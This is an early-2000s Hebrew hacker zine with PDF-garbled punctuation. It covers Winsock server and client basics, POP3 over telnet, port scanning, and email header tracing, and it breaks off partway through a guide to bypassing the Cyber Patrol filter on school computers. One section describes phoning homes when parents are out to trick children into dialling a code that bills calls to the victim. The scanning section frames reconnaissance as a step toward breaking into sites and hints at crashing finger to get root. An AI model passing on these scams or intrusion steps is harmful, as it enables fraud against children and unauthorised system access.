ההתקשרות שלי .נצטרך גם פונקציות אתחול של winsockאם אנחנו עובדים עם .windows9x
;WSADATA info
(if )WSAStartup)MAKEWORD)1,1(, &info( != 0
MessageBox)NULL, "Cannot initialize WinSock!", "WSAStartup",
;(MB_OK
struct sockaddr_in
63
{
short int sin_family; /* Address family */
unsigned short int sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
unsigned char sin_zero[8]; /* Same size as struct sockaddr */
;}
struct in_adrr
{
;unsigned long s_addr
;}
בכל מקרה זה לא צריך לעניין אותנו .מה שאנחנו צריכים לעשות זה פשוט ליצור מופעים של
המבנה שיכילו את ההגדרות.
נכניס אותן:
;my_addr.sin_family = AF_INET
;(my_addr.sin_port = htons)MYPORT
;my_addr.sin_addr.s_addr = INADDR_ANY
השורה הראשונה מודיעה לו שאנחנו רוצים לעבוד עם האינטרנט .בשורה השניה אנחנו מכניסים
לו פורט (הפונקציה htonsזה כדי לתרגם את הפורט לסדר שונה של ביטים ,כמו שסוקטים
אוהבים) .בשורה השלישית אנחנו מכניסים אייפי ,במקרה הזה זה הלוקאל (יענתו המחשב שלנו)
שאנחנו נפתח אח"כ להאזנה INADDR_ANY .מוצא את הלוקאל אייפי .אם נרצה להכניס
אייפי אחר נצטרך להמיר את הקידוד ,ויש כמה פקודות שמטפלות באייפי ולכן אני סומכת עליכם
שתקראו את המדריך באנגלית ,שם כתוב הכל.
נצטרך כמובן להגדיר לו על איזה פורט אנחנו רוצים שהשרת "יאזין" (יחכה להתקשרויות) ,אחרת
.הוא סתם ישב על איזה פורט רנדומלי
;((bind)socklstn,)struct sockaddr *(&my_addr, sizeof)struct sockaddr
socklstnזה הסוקט המבוקש struct sockaddr *(&my_addr( ,זאת המרה שצריך לעשות
מהמבנה של sockarr_inלמבנה sockaddrשהיה לפניו ,כי Cלא מכירה במבנה .sockaddr_in
הפרמטר האחרון הוא הגודל של המבנה .sockaddr
צריך גם להגיד כמה התקשרויות אנחנו רוצים שהשרת יאפשר .לדוגמה ,אפשר להגדיר שרק 4
לקוחות יוכלו לבקש להתחבר לשרת .אח"כ השרת לא מתיר יותר התחברויות .ברגע שלקוח
מתנתק מהשרת ,הלקוח הבא יכול להתחבר)First In First Out( .
טוב אז עכשיו הכל מוכן ואנחנו מאזינים לבקשות לקוחות .אם אנחנו מוצאים אחת כזאת ,נודיע
לשרת שיקבל את הבקשה.
;(listen)socklstn, BACKLOG
socklstnזה לאיזה סוקט הוא מאזין ,ו backlogהוא מספר ההתקשרויות המותר.
64
השורה הראשונה היא פשוט הגודל של המבנה sockaddr_inשהשורה השניה צריכה.
השורה השניה מקבלת את הבקשה שהתקבלה ב socklstn. Rmt_addrזה משתנה מסוג מצביע
שיכיל את הפרטים של הכתובת שמבקשת התחברות.
כל הבקשה הזאת נכנסת לתוך .sockrcvdמה שקורה בעצם ,זה שהשרת מאזין על סוקט אחד (
)socklstnאבל ברגע שיש בקשה הוא פותח סוקט אחר ( )sockrcvdכדי לקבל אותה .כל מה
שיועבר ביניהם יעבור דרך !!!sockrcvd
השרת ממשיך להאזין על !!!socklstnאם תבוא בקשה אחרת (תלוי כמה בקשות התרנו) הוא
יפתח סוקט אחר לאותה בקשה וכן הלאה.
זהו ,מרגע שהשרת קיבל את הבקשה אפשר להתחיל להעביר אינפורמציה בין שניהם.
שלכם,
Zero Cool, AKA Blood Runner.
65
התקשרויות מחשבים :חלק שני:
איך לבנות קליינט
“ .”If man is one, and devil is six, then that must make me seven
(כתובת על שולחן בי"ס)
אהלןןןן לכם קוראים מתוקים ויקרים שלי .או לפחות אלה ששרדו את החלק הקודם .בואו
נמשיך? אז קודם כל ,חדשוווות – אני שמחה לבשר לכם כי גם השנה ייערך כנס האקרים
בישראל אבל יותר צנוע משנה שעברה ,כי שנה שעברה זה היה עולמי ,נמשך 3ימים ,והיו אתגרים
כמו הרצאות באנגלית במבטא עברי ואפילו גרמני וכל העסק עלה .60$בנות נכנסו בחינם
היהיהיהיי תקנאו .השנה זה יהיה כנראה יום אחד ,ישראלי ואפילו יותר נחמד .בפעם הקודמת
ההרצאות היו בלתי מובנות לחלוטין ומשעממות ,אבל היו אחלה חבר'ה .השנה תוכלו לפגוש
אותי! זה כבר סיבה טובה לבוא!!! אז כל מעריציי ,יאללה.
טוב ,לעסק:
בחלק הקודם למדנו איך להאזין להתקשרויות .בחלק הזה נלמד גם איך להתקשר למחשבים
אחרים .נניח שהסרבר מהפעם הקודמת מקשיב על פורט מסויים .עכשיו בואו נתקשר לפורט הזה
וננסה לשלוח הודעה.
בוא נחשוב כמו בפעם הקודמת ,מה יהיה תהליך העבודה שלנו?
דבר ראשון ,לאתחל את Winsockבמקרה ואתם אנשים מסכנים כמוני שהלינוקס המסכן שלהם
מסרב להכיר במודם והעלים גם כונן של 2ג'יגה כי מרוב שהמשתמשת התלהבה היא שכחה
להגדיר אותו כמחיצת וינדוס.
פקודת האתחול ,להזכירכם:
;WSADATA info
)if )WSAStartup)MAKEWORD)1,1(, &info( != 0
MessageBox)NULL, "Cannot initialize WinSock!", "WSAStartup",
;)MB_OK
כמובן ,נצטרך להגדיר מופעים של המבנה sockaddr_inוליצור טיפוס מסוג שלם בשביל הסוקט:
;int sockfd
;struct sockaddr_in dest_addr
;]char msg[81
dest_addrיכיל את פרטי הכתובת שאנחנו רוצים להתחבר אליה.
הפרמטר האחרון הוא מערך ,שיכיל את ההודעה שאנחנו רוצים לשלוח.
שזה אומר שאתחלנו את הסוקט שישמש אותנו להתחברות ,והכנסנו לתוכו הגדרות שאומרות
שאנחנו עובדים עם האינטרנט .הוא ינסה להתחבר לפורט MYPORTבאייפי .IP
הפקודה )inet_addr)IPנחוצה כי צריך להמיר את המספר ,IPלדוגמה 207.23.45.666 :לסימון
של נקודות ומספרים ( )numbers-and-dots notationכי זה מה שהמחשב מבין.
66
מה זה אומר? התוכנית הנחמדה שלנו מנסה עכשיו להתחבר .לצורך זה היא תשתמש ב sockfd
שזה הסוקט שאיתו אנחנו עובדים Dest_addr .אמרנו כבר שיכיל את פרטי הסרבר (הכתובת
אליה אנחנו רוצים להתחבר) ו sizeofכמו שאתם בטח יודעים ,יחזיר פשוט את גודל המבנה
.sockaddrככה הולכת הפקודה ,היא צריכה גם את הגודל.
עכשיו בואו נשלח את ההודעה:
;)gets)msg
לקליטת הודעה מהמשתמש (מהמקלדת).
;)send)sockfd,msg,strlen)msg(,0
הפקודה שולחת את ההודעה msgדרך הסוקט sockfdאל הכתובת שהגדרנו מקודם בהגדרות
של sockfd )dest_addr(, strlenזה כמובן גודל ההודעה שהכרחי בעבודה עם סוקטים ,וה – 0
המעצבן פשוט צריך להיות שם.
;)shutdown)sockfd,3
אם אתם עדיין מבולבלים קצת ,במדריך הבא אני אתן תוכנית שלמה שמשחקת עם הקליינט
והסרבר ואנסה להסביר אותה .אולי אפילו ננתח אקספלוייט אחד או שניים .בקיצור ,יש למה
לחכות…
שלכם,
.Zero Cool, AKA, Blood Runner
67
קריאת E-mailדרך טלנט
אז נכון שתמיד חשבתם שיש לכם "אימייל נייד" כמו הוטמייל ,אימייל.קום וכו' ו"אימייל של
הבית" שכשאתם מתחברים מהבית אתם פותחים אותו דרך אאוטלוק אקספרס וכו'? אז יופי.
אבל ידעתם שאפשר לפתוח אותו לא רק מהבית? בטח שידעתם! אבל ידעתם גם איך לעשות את
זה? נו בשביל מה אני פה???? ):
טוב תפתחו את טלנט ( )telnetותתחברו לפורט 110אל השרת אימייל נכנס של הספק שלכם .אם
אתם לא יודעים את הכתובת ,תתקשרו לספק ותשאלו .אם יש לכם את הדפים ששלחו לכם
כשעשיתם מנוי אינטרנט ,צריך להיות כתוב שם בתצורה של איך לסדר את התיבת אימייל .אני
לדוגמה על אינטרנט זהב ,אז ב hostnameאני כותבת:
in.inter.net.il
שזה השרת לאימייל נכנס שלהם .אגב ,השרת לאימייל יוצא הוא ,כמה מפתיע
out.inter.net.il
השרת של אינטרנט זהב לדוגמה ,אחרי שאתם מקישים שם משתמש וסיסמה ייתן לכם הודעה
כזאת:
mail list drop and ready
ותצטרכו להקליד
list
כדי לראות את רשימת ההודעות .אם אין לכם אימיילים חדשים השרת ייתן את ההודעה
scan list follows
.
טוב .אם האימייל עובר מהר מדי ואתם לא מצליחים לקרוא אותו ,פשוט תבחרו בתפריט
terminal> start logging
ותבחרו קובץ שאליו הוא יכתוב .אח"כ לכו לקובץ ותקראו משם.
68
אם אתם רוצים למחוק הודעות,
dele 1
dele 2
וכדומה.
טוב ,לכתוב אימיילים דרך פורט 25אתם יודעים כבר כי זה גיהנום לימד אתכם.
אם אתם רוצים ללמוד עוד על טלנט ופורטים שימושיים ,לכו ל
www.happyhacker.org
אתר מומלץ ביותר! חפשו את ה
.guides to mostly harmless hacking
""all tied up and dried up forever, all fucked up and dead to the world
69
אינטיפדאת טלפונים
אינטיפדאת טלפונים
שמעתי שיש אנשים שמתקשרים למספר טלפון מבקשים ממי שמרים את השפופרת לחייג
קוד מספרי מסויים ואחרי זה הם עושים שיחות על חשבונו.
מישהו יודע מהו הקוד ואיך משתמשים בו ?
אז ישבתי וחשבתי קצת ובסוף עליתי על זה .הטריק לא ייתן לך לעשות שיחות לגמרי
בחינם אלא ייתן לך לעשות שיחות חוץ במחיר של שיחות מקומיות.
******************************************************
טיפ :אם השגתם איזה שהו עותק של רשומון
תוכלו להוסיף עוד פרטים כדי שהעניין יהיה יותר משכנע
******************************************************
*********************************************************
עוד טיפ :רק ילדים קטנים יהיו מספיק טיפשים
להאמין לכם אז תתקשרו בשעות שהורים לא אמורים להיות בבית
*********************************************************
עכשיו אחרי שעשית את כל העניין המשעמם הזה אתה יכול
להתקשר פשוט ל 81234567ואז אתה תופנה אוטומטית ל . 029765432
הערה :לא היה לי לב לבדוק אם זה עושה שיחות לחו"ל אתם מוזמנים לנסות.
70
פורט סקנינג
++++++++++++++++++++++++++++++++++++++++++++++++++++++
(In loving memory of Douglas Adams (1952-2001
++++++++++++++++++++++++++++++++++++++++++++++++++++++
טוב ,אז בתפריט היום סקאנינג סקאנינג ועוד קצת סקאנינג (תנסו להגיד את זה רצוף)
כי בכל הטיולים שלי בפורום גיהנום ראיתי הרבה קוראים מסורים שלנו שהתעצבנו -
למה לעזאזל אנחנו לא מלמדים אותם פורט סקנינג .אז הנה זה בא.
תשבו ,תיקחו כוס קולה (אורגינלית) ובואו איתי לעולם המופלא של הפורטים.
זה יכול להיות ארוך.
חלקכם אולי יודעים חלק מהדברים ,אבל סטיק וויז מי ,אתם תמיד יכולים ללמוד
משהו חדש.
אז מה זה פורט בכלל? נניח שאתם מתחברים לאינטרנט ופותחים את התיבת אימייל שלכם,
בוא נגיד אאוטלוק אקספרס .חשבתם פעם מה קורה? המחשב שלכם בעצם מתחבר לאיזשהו
מקום על גבי השרת של האינטרנט שלכם ,ובודק אם יש לכם דואל חדש .המקום הזה נקרא
פורט .הפורט של הבדיקת אימייל הוא ,110והפורט של השליחת אימייל הוא .25
בואו ניקח עוד דוגמה :אתם פותחים את הדפדפן ואומרים לו להיכנס
ל . www.foobar.comהמחשב שלכם בעצם מתחבר לפורט 80על השרת www.foobar.com
ומציג לכם את התוכן שיש בו.
כמו שאתם אולי יודעים ,אפשר להתחבר לפורטים ישירות דרך טלנט.
זאת אומרת ,במקום להגיד לדפדפן שלכם ללכת לאתר , www.foobar.com
אתם לוקחים את הטלנט שלכם ל www.foobar.comפורט .80
אהה ,אני רואה את הקוצים מתחילים לצמוח לכם בתחת ,אבל מה יצא לנו מזה?
אם אתם רוצים לפרוץ משהו על הרשת ,אתם צריכים קודם אינפורמציה.
אתם צריכים לדעת קודם כל ,איזה מערכת השרת מריץ ,וכל מיני תוכניות שהוא מריץ.
ככה אתם רואים איזה חורי אבטחה יש באתר ואיך אתם יכולים לחדור אליו.
71
הו-פה! הפורט מודיע לי חגיגית שהאתר מריץ MS IISשזו תוכנה של מייקרוסופט
לניהול ואחזקת אתרים .ויש כלל בעולם ההאקינג :אם זה מייקרוסופט ,שום דבר לא
בטוח .בדברים של מייקרוסופט יש מיליוני חורי אבטחה .אם אתם מוצאים אתר
שמריץ IISלדוגמה ,לכו לחפש אקספלוייטים של IISותגלו שלא קשה לפרוץ אותו.
על אותו אתר ,לקחתי את טלנט לפורט .21זהו הפורט של ה FTPשזה שרת קבצים
שמאפשר לכם להיכנס ולהוריד ולהעלות (רק אם יש לכם accountשם) קבצים לשרת.
טלנט מודיעה לי microsoft FTP :ואין מאושרת ממני .בשביל ימים כאלה כיף
לקום בבוקר): .
אבל נעזוב את זה עכשיו ,כי רק על IISו FTPאפשר לכתוב מדריך שלם.
עכשיו בחרו לכם אתר משלכם .תחקרו אותו ,תשיגו עליו את כל האינפורמציה שאתם
יכולים .תבדקו פורטים חשובים כמו:
FTP - 21
telnet - 23אם הפורט הזה פתוח,
זה אומר שהשרת נותן למשתמשים שלו .shell account
זה חשבון שנותן למשתמש להריץ פקודות יוניקס על השרת,
כאילו המשתמש נמצא ממש מול מערכת יוניקס.
אם הספק אינטרנט שלכם פותח את הפורט הזה,
נסו להתחבר ולהקליד את שם המשתמש והסיסמה שלכם,
ואתם יכולים להריץ כמה פקודות יוניקס חמודות כמו .whois
חבל ,אבל כל ספקי האינטרנט בישראל שאני יודעת עליהם חסמו את הפורט הזה.
- 25כתיבת אימייל
finger - 79זה פורט שאם הוא פתוח ,אתם יכולים להיות מאושרים .מאוד מאושרים.
דרך הפורט הזה אפשר להשיג אינפורמציה על משתמשים על הספק.
נסו להקליד finger rootאו אפילו סתם rootלדוגמה,
כדי לקבל טינפו על המשתמש .root
לפעמים אתם תוכלו לראות גם איזה משתמשים מחוברים כרגע על השרת .
רגע ,אם התוכנית הנחמדה fingerיכולה להגיד לנו כלמיני דברים על כלמיני
משתמשים זה אומר שהיא יכולה לגשת לחשבונות ( )accountsשל אותם משתמשים!
וזה אומר שיש לה גם גישה למשתמש העל !!)root( ..לפעמים אם מקלידים משהו מוזר
בפורט הזה לדוגמה Sjjh\\\\||###$^%$^$^%$התוכנית יכולה להשתגע ו"להפיל"
אתכם ישר לתוך החשבון של ה ...rootאבל אל תתלהבו ,זה מאוד מאוד נדיר.
וגם רוב השרתים חוסמים את הפורט הזה כי הוא מאוד עוזר לנו): ...
.HTTP - 80יענתו אתרים ,נו ,אתם יודעים.
- 110קריאת אימייל.
- 139שיתוף! ייאה!
72
(פשוט חפשו אותו) או בכל מיני מסמכים (חפשו port listאו משהו כזה).
פורטים ידועים הם מ 1-עד 1024אם אני זוכרת נכון .אלה פורטים סטנדרטיים,
זאת אומרת שעל כל שרת פורט 25משמש לאימייל ,פורט 80לאתר וכדומה.
פורטים מעל הערך הזה הם פורטים מוזרים יותר): .
אם אתם רוצים לראות איזה פורטים פתוחים תורידו פורט סקאנר
(או תבנו לבד ,זה לקח לי בדיוק 5דקות) ותריצו סריקה .הסקאנר יחזיר לכם את
מספרי הפורטים הפתוחים .בכל זאת ,עדיף גם לסרוק ידנית כי ככה אתם משיגים
יותר אינפו.
כשאתם מצליחים להתחבר לפורט מסויים ,שימו לב לאיך שהוא מקבל אתכם.
בד"כ הוא יכתוב את השם של השרת או התוכנה שהוא מריץ או
כלמיני פרטים אחרים עליו .ככה תדעו איך לפרוץ אותו.
אל תזלזלו בהודעות שגיאה .הן יכולות לתת הרבה מאוד .תקראו אותן.
דבר ראשון כשאתם מצליחים להתחבר לפורט :נסו לקבל עזרה.
הקלידו .helpאם זה לא עוזר תנסו ? או . manפורטים גבוהים יותר או כאלה שיש
להם הרבה בעיות מגינים על עצמם בזה שהם לא מסכימים לתת עזרה .וזה די מעצבן.
הערה :כשאתם מתחברים לפורט ,השרת מריץ daemonשזאת תוכנה שמאזינה לאותו פורט
ומגיבה לקלט מסויים ממכם .סתם לידע כללי ,אם תתקלו במושג הזה.
טיפ אחרון :רוצים לראות איזה פורטים פתוחים אצלכם? פתחו את חלון דוס (,)MS DOS
והקלידו:
netstat -a
ככה תראו את כל השרתים שאתם מחוברים אליהם ,שליד כל אתר כתוב הפורט שאליו
אתם מחוברים .מן הסתם תראו שם גם את ספק האינטרנט שלכם ואתרים שאתם מחוברים
אליהם באותו הרגע.
וגם אנשים שאתם מדברים אייתם באייסיקיו או במירק באותו הרגע ): .הא הא.
אם כתוב ליד הפורט establishedזה אומר שהפורט פתוח על השרת ומחכה לפקודות
ממכם (נניח אתר שמחכה לקלט ממכם) ואם כתוב listeningהפורט פתוח אצלכם ומאזין
למשהו .כמו למשתמש אייסיקיו אחר שאתם מדברים אייתו באותו רגע.
אה ,ואם אתם רואים שפורט 31337פתוח אצלכם אז אכלתם אותה,
יש עליכם טרויאני ()))): .)Back Orifice
יש הרבה נושאים כאן כמו פקודות FTPודוס שלא פירטתי עליהם כי אני לא רוצה
להתיש אתכם לגמרי וגם כי אני כבר די מותשת .יאללה נמאס לי
have fun
i love you
always
שלכם
Blood Runner
73
הבנת כותרות E-mail
From: 1@walla.co.il
Subject: ICQ Email Message
Date: April 6, 2000 12:03:22 PM EDT
ת'אמת? די נבהלתי בהתחלה .אבל אח"כ חטפתי קריזה -מה זה האיומים האלה?
תראו ,גם אני נגד לפרסם חשבונות בנקים ,אבל לאיים ככה על בחורה תמימה וצדיקה
כמוני?!?!
אוקי ..מה עכשיו? מן הסתם זה אימייל מזויף .בואו נראה מה אנחנו יכולים לגלות
עליו .בשביל זה אנחנו צריכים לראות את כל הכותרת ( )headerשל האימייל.
באימייל.קום עושים את זה ע"י זה שלוחצים על הלינק:
Show all headers
באאטלוק אקספרס לדוגמה ,עושים את זה ע"י לחיצה ימנית על ההודעה ואז בחירה
ב"מאפיינים" ,כרטיסיית "פרטים".
ב eudoraרואים את כל הכותרת ע"י לחיצה על הכפתור "): ."blah blah blah
אז מכיוון שקראתי את ההודעה דרך אימייל.קום לחצתי על הלינק וזה מה שקיבלתי:
74
Received from smv347-ec.mail.com by ida437-ec.mail.com )Version 1.11( for
)<zarquon@email.com>; Tue, 24 Apr 2001 08:17:27 -0400 )EDT
Received from mailgw2.netvision.net.il )mailgw2.netvision.net.il [194.90.1.9]( by
smv347-ec.mail.com )8.9.3/8.9.1SMV070400( with ESMTP id IAA16497 for
<zarquon@email.com> sent by <1@walla.co.il>; Tue, 24 Apr 2001 08:17:26 -0400
))EDT
Received from walla.co.il )ras4-p2.jlm.netvision.net.il [62.0.147.2]( by
mailgw2.netvision.net.il )8.9.3/8.9.3( with SMTP id PAA26992 for
)<zarquon@email.com>; Tue, 24 Apr 2001 15:19:01 +0300 )IDT
>Message-Id <200104241219.PAA26992@mailgw2.netvision.net.il
MIME-Version 1.0
"Content-Type text/plain; charset="iso-8859-1
Content-Transfer-Encoding base64
X-MIME-Autoconverted from 8bit to base64 by smv347-ec.mail.com id IAA16497
X-Delivery Mail.com IDA 1.11
קום. שלח את האימייל לשרת אימיילmailgw2.netvision.net.il זה אומר לנו ששרת בשם
כמו שאתם רואים מצוינת הגרסה.)smv347-ec.mail.com(
) וגם העובדה שהוא8.9.3/8.9.1SMV070400( שהשרת מריץ
.ESTMP משתמש בפרוטוקול אימייל
ID )IAA16497( - האי יפי בסוגריים הוא האי יפי של שרת האימייל וה
.זה מספר זהות שניתן לכל אימייל שנשלח
. mailgw2.netvision.net.il אני מתחילה לשער שהאימייל נשלח במקור דרך השרת
:בואו נבדוק את השורה הבאה
75
ששלח את האימייל ..א-ב-ל בסוגריים כתובה הכתובת האמיתית ממנה נשלח האימייל:
ras4-p2.jlm.netvision.net.il
[]62.0.147.2
!!!
שימו לב שבאמייל אמיתי לא יגידו לכם שהאימייל התקבל משרת אחד אבל יכתבו
בסוגריים כתובת אחרת...
מישהו מהאי יפי הזה שלח אימייל דרך mailgw2.netvision.net.ilאלי.
מישהו מסביבות ירושלים ,כי כתוב .jlm
והנה הדבר הכי חשוב פה:
>Message-Id <200104241219.PAA26992@mailgw2.netvision.net.il
לכל אימייל שנשלח דרך שרת כלשהוא (במקרה שלנו )mailgw2.netvision.net.il
יש מספר זהות מיוחד ( .)IDככה המנהל יכול לבדוק בדיוק מי שלח ,לאן וכולי.
הספרות שלפני הנקודה מציינות תאריך .200104241219 :שזה אומר 24/04/2001
בשעה .12:19
הספרות שאחרי הנקודה הן מספר הזהות המיוחד של האימייל.
רגע! כתוב פה שזה נשלח ב 24באפריל! אבל באימייל עצמו היה כתוב ה 6-באפריל!
ולא רק זה ,גיליון 5יצא רק ב 20ומשהו באפריל .הנה עוד הוכחה שהאימייל מזויף.
ולא רק זה ,אלא גם התאריך מזויף .למה שמישהו ירצה לזייף תאריך?
אל תשאלו אותי...
בכל זאת ,עדיין היו לי ספקות ,ולכן החלטתי לוודא שהוא באמת מזויף.
לפי הכותרת אנחנו יודעים שהוא נשלח מנטוויז'ן ,mailgw2.netvision.net.il -
אבל כתוב שהוא נשלח מ .walla.co.ilאז הלכתי לאתר של נטוויז'ן וראיתי שהם
ממליצים על מנוע החיפוש נענע שהוא למיטב ידיעתי המתחרה של וואלה ולכן לא
הגיוני שואללה יושבים על נטוויז'ן .סתם בשביל הכיף נכנסתי גם לואללה ,פתחתי
חלון דוס והקלדתי:
tracert www.walla.co.il
וזה מה שקיבלתי...
הפקודה tracertבודקת באיזה נתיבים עובר המידע שנשלח לואללה ,זאת אומרת דרך
איזה מחשבים .שתי השורות הראשונות קשורות למחשב שלי (אינטרנט זהב).
לא מצאתי שם שום דבר שקשור איכשהוא לנטוויז'ן .סתם בשביל ידע כללי,
שימו לב שהמידע עובר דרך עוד 2מחשבים שנמצאים על אינטרנט זהב -מכיוון ששני
איי-פיים מתחילים ב .213.8.202 -אחד מהם הוא מן הסתם האייפי שלי אז זה אומר
שעוד מחשב על אינטרנט זהב מקבל את הנתונים לפני שהוא שולח לי .עוד השערה -
וואלה נמצא על שרת נפרד ,לא קשור לשום דבר ובטח שלא לנטוויז'ן.
טוב ,אז מה עושים?
יש לנו את הכתובת שממנה האימייל נשלח .א-ב-ל אחרי בירור קצר גיליתי שנטויז'ן
לא נותנות אייפיים סטטיים (זאת אומרת אייפיים קבועים ,כמו שיש לאתרים) ,ואז
כל פעם שמתחברים מקבלים אייפי אחר.
אז כמו שאמרתי לכם ,על כל שרת מייל כמעט יש רישום של הודעות שנשלחו מאותו שרת.
המנהל של השרת יכול לבדוק ולדעת בדיוק מי שלח מאיפה וכולי.
76
שלחתי אימייל ל abuse@netvision.net.ilוביקשתי מהם שיתנו לי את כתובת האימייל
האמיתית של מי ששלח בתאריך 24.4.2001מהאייפי 62.0.147.2הודעה עם מספר
זהות .PAA26992הם ענו שבלי צו של בית משפט הם לא יכולים למסור לי שום פרטים
על חשבונות של אנשים(: .
טוב ...מנהל נטויזן הוא היחיד שיכול לברר לי מי זה (האלטרנטיבה היא לפרוץ
לנטוויז'ן )...אז אין מה לעשות .אני רק רציתי להתנצל על זה שפירסמנו חשבונות
בנק): ...
77
Blood Runner
78
החלפת מסכי הפעלה/כיבוי
"בנאדם לא נולד אהבל ,הוא גודל להיות כזה במסגרות ומוסדות כמו של מערכת החינוך
בישראל".
(גיהנום)
(*)(*)
) (
( )
נחשו מי או מה אני??
שלא כמו במערכת לינוקס ,מערכת ההפעלה ווינדוס אינה נותנת למשתמש שליטה מלאה ,אלא
להיפך.
אז אולי אתם יכולים להחליף את תמונת הרקע בשולחן העבודה ,ולבחור איזה שמות לתת
לקבצים אבל
בסופו של דבר כוח השליטה שלכם על מערכת ההפעלה שמותקנת אצלכם במחשב ,אפסית .היום
כל זה יישתנה??
לא .אבל אני אלמד אתכם משהו חמוד .אצל רובכם ,כשאתם מדליקים את המחשב ,יש את סמל
החלונות של ווינדוס
ומאחוריו רקע כחול .למטה כתוב:
Microsoft Windows 98
או
Microsoft Windows 95
חוץ מזה ,כשאתם מכבים את המחשב ,אז לרובכם המסך שחור ,וכתוב משהו כמו:
'כעת ניתן לכבות את המחשב' בצבע כתום .אני מקווה מאוד שאתם יודעים למה אני מתכוון .בכל
מקרה,
לא משנה איך נראים אצלכם מסכי ההפעלה/כיבוי ,היום אתם עומדים לשנות אותם (אם אתם
רוצים) לאיך
שאתם רוצים שהם ייראו .פיתחו את עורך הגרפיקה האהוב עליכם .לא משנה אם זה Paint Shot
,Pro
או Photoshopאו כל דבר אחר .אם אתם לא יודעים מה זה עורך גרפיקה או חושבים שאין לכם,
תיאלצו
להשתמש באחד פשוט שמגיע יחד עם מערכת הווינדוס שלכם ,הרי זו תוכנת .MS Paint
בכדי להפעיל אותה לחצו על התחל >-הפעלה...
בחלון שנפתח הקלידו:
C:\Program Files\Accessories\mspaint.exe
ולחיצו על מקש ה < .>Enterלא באמת התכוונתי שתקלידו את כל השורה הזאת ,סמנו אותה עם
העכבר ולחיצו
על .Ctrl + Cזה ייבצע פעולת העתקה .בחלון "הפעלה "...לחצו על .Ctrl + Vזה ייבצע פעולת
הדבקה
וככה תחסכו את כל ההקלדה .אז אתם נמצאים בתוך העורך הגרפי שלכם .כעת פיתחו את הקובץ
הבא:
C:\logo.sys
חשוב שתפתחו אותו בתוך עורך הגרפיקה .אם זה לא מצליח לפתוח את הקובץ נסו את:
C:\ip.sys
כמו שאתם שמים לב יש לפניכם עכשיו את מסך ההפעלה של ווינדוס .למה לעזאזל הוא בקובץ
מערכת???
().sys
כי מיקרוסופט מצד אחד היו צריכים להחביא את הקובץ ,מצד שני היו צריכים שיהיה
באפשרותם לגרום לו
שינויים גם אחרי שמערכת ההפעלה כבר הותקנה במחשב ,בלי להתקין מחדש מדיסק אחר שבו
השינויים נעשו
בתיכנות עצמו .אז הם שמרו את מסכי ההעפלה/כיבוי בתוך קובץ מערכת ,דבר חכם כי למה
לעזאזל שמישהו
79
יישחק עם קובץ מערכת? זה בד"כ יהרוס את המחשב ...מי בעולם ישחק עם קבצים כאלה?????
אנחנו .טוב ,אז תשתמשו בכלים שבתוכנת הגרפיקה שלכם כדי לשנות את מסך ההפעלה לאיך
שאתם רוצים שייראה.
אם אתם רוצים אתם גם יכולים לקחת תמונה אחרת (של מרילין מנסון לדוגמא ,או אפילו של
עצמיכם) ,ולשמור
אותה על שם הקובץ C:\logo.sys
ואז בכל פעם שתפעילו את המחשב זה יופיע!!!
רק דבר אחד קטן ,חשוב מאוד שהתמונה תהיה בגודל רוחב 320וגובה 400בפיקסלים .גודל
הקובץ לא חשוב
אז גם אם זאת תמונה של מאה מגהבייט זה בסדר( .טוב אולי הגזמתי ,אבל גודל הקובץ פה לא
עקרוני).
אז אם התמונה שלכם לא בגודל המתאים פיתחו אותה עם העורך הגרפי ושנו את גודל התמונה ל
320על .400
מה עוד נשאר לנו? מסכי הכיבוי .בתוך העורך הגרפי פיתחו את הקובץ:
C:\windows\logow.sys
כעת פיתחו את:
C:\windows\logos.sys
כל מה שהסברתי על הקובץ C:\logo.sysנכון גם לגבי הקבצים האלה .זה אולי לא נראה לכם
דבר כזה
מגניב ,אבל פעם הבאה שתגיעו לבית ספר ,אם יש לכם שם מחשבים ,אני חושב שתסכימו איתי
שיהיה די כייף
ומצחיק אם תחליפו את מסכי ההפעלה/כיבוי בתמונת פורנו או !!!!School Sucks
שלכם ,גיהנום
80
מספרים שימושים
שלום לכולם!
טיפ קטן :אם יש לכם טלפון ישן ,שמחייג ב"מתקפים" (שלוחצים על ,5שומעים 5
תקתוקים) אז אתם לא יכולים להשתמש בכל מיני "שרותי טלפון" שמבקשים ממכם ללחוץ
על מספרים ,כמו למשל טלמסרים למיניהם .אז בחלק מהטלפונים האלה ,אם תחייגו * לפני
המספר ,הטלפון יחייג בחיוג צלילים -השיטה הנורמלית ,שלכל מקש יש צליל.
אם יש לכם פלאפון ,כנסו לספר טלפונים שלו והוסיפו שם חדש שקוראים לו:
81
umop apis dn
מה כתוב כאן? הפכו את הטלפון וגלו!
מנגינות בטלפון!
-------------------
3212333-222-333-3212333-22321-1
(איפה שיש " "-לוחצים יותר זמן על המקש)
חייגו את המספר הזה -ותקשיבו בזמן שאתם מחייגים -ותשמעו את השיר "למרים טלה קטן".
מי שלמד אי פעם נגינה ,מכיר את השיר הזה כי זה השיר הראשון שלומדים כשלומדים נגינה.
- 7486168חייגו את המספר הזה ותשמעו את ההתחלה של "ברני"! כדאי לחייג * או משהו כזה
קודם ,כי מספר כזה באמת קיים ומישהו עשוי לענות לכם.
בנץ.
82
נטרול תוכנת סייבר-פורטל
היי!
כולם כאן בטח מכירים את התוכנה סייבר-פטרול .זאת תוכנת פילטר לאתרי אינטרנט,
שהרבה בתי ספר משתמשים בה כדי שהתלמידים לא יגלשו לאתרי סקס וכו'.
הבעיה עם התוכנה הזאת ,שאם מנסים למחוק אותה ידנית ,היא חוסמת לחלוטין את המחשב
ולא נותנת לכם להפעיל אפילו את ווינדוס.
אז אם בבית ספר שלכם יש את סייבר-פטרול וחשקה נפשכם בכמה "אתרים אסורים",
זו ממש לא בעיה לעקוף את סייבר-פטרול גם בלי הסיסמה.
אני יוצא מנקודת הנחה שאתם מכירים "קצת" את דוס ,ואם לא ,תפנו לגיליון מס' 2של
גיהינום,
הוא מסביר שם קצת על דוס.
----------------------------------------------------------------------------------
הערה חשובה :תעשו את זה רק במחשבים של בית ספר או מחשב אחר שיש בו סייבר פטרול
ושממש
לא אכפת לכם מהמחשב .למה? בגלל שיכול להיות שאם תטעו באות אחת תמחקו קובץ לא
נכון
ותהרסו את המחשב .אבל הכל תעשו בשביל סקס ,לא?
----------------------------------------------------------------------------------
.1להפעיל את המחשב במצב דוס אמיתי (לא דוס מתוך ווינדוס) ,כלומר להפעיל את
המחשב
מחדש ,וללחוץ על אף 8-עד שמופיע התפריט איתחול .בוחרים שם את האפשרות
Command Prompt Only
ואז מגיעים למצב דוס.
83
